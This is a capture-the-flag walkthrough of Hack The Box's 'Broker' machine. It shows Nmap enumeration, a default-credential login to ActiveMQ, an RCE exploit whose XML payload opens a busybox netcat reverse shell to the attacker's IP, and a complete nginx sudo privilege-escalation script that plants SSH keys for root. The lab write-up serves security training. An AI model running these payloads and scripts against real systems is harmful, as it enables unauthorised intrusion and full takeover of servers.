This is a Write Up on how to complete the room Broker on Hack The Box.

Note* I used Kali Linux to complete this room. The IP Address for Broker was 10.10.11.243 at the time of this writing.

* Click on images to enlarge.

Let’s begin this room by enumerating Broker with Nmap.

Running the command:
nmap -sT -p- -Pn -v 10.10.11.243 displays several open ports.

nmap -sT -p- -Pn -v 10.10.11.243
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 15:59 EDT
Initiating Parallel DNS resolution of 1 host. at 15:59
Completed Parallel DNS resolution of 1 host. at 15:59, 0.04s elapsed
Initiating Connect Scan at 15:59
Scanning 10.10.11.243 [65535 ports]
Discovered open port 22/tcp on 10.10.11.243
Discovered open port 80/tcp on 10.10.11.243
Discovered open port 45567/tcp on 10.10.11.243
Discovered open port 61614/tcp on 10.10.11.243
Discovered open port 61616/tcp on 10.10.11.243
Discovered open port 5672/tcp on 10.10.11.243
Discovered open port 8161/tcp on 10.10.11.243
Discovered open port 61613/tcp on 10.10.11.243
Discovered open port 1883/tcp on 10.10.11.243
Completed Connect Scan at 16:00, 16.91s elapsed (65535 total ports)
Nmap scan report for 10.10.11.243
Host is up (0.050s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
45567/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

Starting off, I navigated to port 80 and found a public facing login. Attempting simple default credentials I authenticated using admin:admin.

Here I am presented with an ActiveMQ interface. I can now enumerate the application for anything that could help us further the attack.

Enumerating the application I was able to discover the version of ActiveMQ. With this I can search for a public exploit.

It Turns out the version of ActiveMQ is vulnerable to an exploit that allows remote code execution (RCE).

Browsing GitHub I discovered a public exploit written in Go that could help obtain a reverse shell on the system.

Link to GitHub Repo https://github.com/X1r0z/ActiveMQ-RCE/blob/main/README-en.md 

After cloning this repository into my Kali VM I modified the poc.xml to obtain a shell with a busybox payload.

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>busybox</value>
                <value>nc</value>
                <value>10.10.14.11</value>
                <value>1337</value>
                <value>-e</value>
                <value>bash</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

With the edits to the poc.xml we need to host it on a web server. Running the command python3 -m http.server 8000 will setup a basic webserver to host the file. A Netcat listener is also needed. That can be started with nc -lvnp 1337.

Using the ActiveMQ-RCE Go program with go run main.go -i 10.10.11.243 -u http://<YOUR IP>:8000/poc.xml. This should successfully capture a shell.

I  upgraded to a TTY shell using python3 -c 'import pty;pty.spawn("/bin/bash")'.

The next step is to grab the user.txt flag in /home/activemq/user.txt

As a lower user on the server the next goal will be to exploit a weakness on the system and become root.

Running sudo -l shows a path to become root. The server allows running /usr/sbin/nginx as root with no password.

Looking online for a way to abuse this, I found this GitHub repository. https://github.com/DylanGrl/nginx_sudo_privesc/tree/main

I modified the script slightly to setup absolute paths to the SSH keys.

#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
    server {
            listen 1339;
            root /;
            autoindex on;
            dav_methods PUT;
    }
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat /home/activemq/.ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat /home/activemq/.ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"

After uploading the exploit.sh to the /tmp directory I added execute permissions with chmod +x.

Next step is to run the exploit script.

This creates keys to now SSH into the system as the root user.

Using the keys I was able to SSH into the system as root and obtain the root flag.

That completes the room! Well done! If you found this helpful, please send me a tweet and tell me what you thought! Feedback is always appreciated!

Jarrod